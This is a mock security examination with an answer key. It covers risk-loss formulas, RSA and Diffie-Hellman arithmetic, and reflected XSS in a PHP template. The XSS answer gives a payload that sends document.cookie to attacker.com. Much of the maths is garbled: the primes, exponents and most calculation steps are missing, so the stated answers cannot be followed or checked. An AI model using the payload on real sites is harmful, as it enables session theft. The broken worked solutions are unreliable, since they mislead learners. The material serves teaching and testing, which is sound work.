📝 Mock Examination D (Fresh Variables)
Challenge
These questions use new numbers not found in your notes. Use the formulas you memorized to solve them.
Question 1: Risk Calculation (Varied)
(a) Quantitative Analysis Your company has a “Customer Database” asset valued at £100,000. A specific “Ransomware” threat has an Exposure Factor (EF) of 50% (it encrypts half the backups). The Annualized Rate of Occurrence (ARO) is 0.2 (once every 5 years).
- Calculate the Single Loss Expectancy (SLE).
- Calculate the Annualized Loss Expectancy (ALE). [6 marks]
🔻 Click to reveal answer
1. SLE Calculation:
2. ALE Calculation:
Interpretation: You should not spend more than £10k/year to prevent this specific risk.
Question 2: Cryptography Math (Varied)
(a) RSA Private Key Given primes and , and public exponent . Find the private key . [8 marks]
🔻 Click to reveal answer
1. Modulus (N):
2. Totient :
3. Private Key (d): We need where .
- Try (not div by 3).
- Try .
- .
Check: . is remainder 1. Answer: d = 27
(b) Diffie-Hellman Exchange
- Public: .
- Alice’s Secret: .
- Bob’s Secret: . Calculate the Shared Secret (). [6 marks]
🔻 Click to reveal answer
Step 1: Alice computes Public A . . .
Step 2: Bob computes Public B . . .
Step 3: Shared Secret S Alice computes .
- .
- .
Answer: S = 4
Question 3: Web Attacks (Varied)
(a) Identifying XSS You find this line in a template file:
<div>Welcome back, <?php echo $_GET['user_id']; ?></div>-
What type of XSS is this (Stored or Reflected)?
-
Provide a malicious payload an attacker could use to steal a cookie. [6 marks]
🔻 Click to reveal answer
1. Type: Reflected XSS. The input ($_GET) comes from the URL request and is immediately echoed back without storage.
2. Payload: <script>document.location='http://attacker.com/?cookie='+document.cookie</script>
(b) Defense How would you fix the code above? [4 marks]
🔻 Click to reveal answer
Defense: Output Encoding You must encode special HTML characters before printing.
PHP Fix: echo htmlspecialchars($_GET['user_id'], ENT_QUOTES, 'UTF-8');